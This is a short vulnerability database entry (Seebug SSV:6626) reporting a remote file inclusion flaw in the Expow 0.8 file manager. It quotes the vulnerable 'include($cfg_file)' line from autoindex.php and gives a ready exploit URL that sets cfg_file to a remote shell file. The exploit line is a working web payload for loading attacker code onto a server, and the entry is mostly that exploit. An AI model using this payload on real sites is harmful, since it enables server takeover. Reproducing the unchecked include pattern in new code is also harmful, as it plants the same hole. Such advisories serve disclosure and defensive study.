Expow 0.8 (autoindex.php cfg_file) Remote File Inclusion Vulnerability

2007-04-15T00:00:00
ID SSV:6626
Type seebug
Reporter Root
Modified 2007-04-15T00:00:00

Description

No description provided by source.

                                        
                                            
                                                Expow 0.8 File manager  Autoindex.php (cfg_file) Remote File Inclusion Vulnerability
__________________________________________________________________________
found by : mdx
--------------------------------------------------------------------------
Download script : http://sourceforge.net/project/downloading.php?group_id=29595&use_mirror=kent&filename=expow-0.8.tar.gz&92927218
--------------------------------------------------------------------------
file name : autoindex.php
__________________________________________________________________________
脻ncluded line ;

  if (!include($cfg_file))

__________________________________________________________________________
Exploit :

http://site.com/[path]/autoindex.php?cfg_file=shellmdx.txt?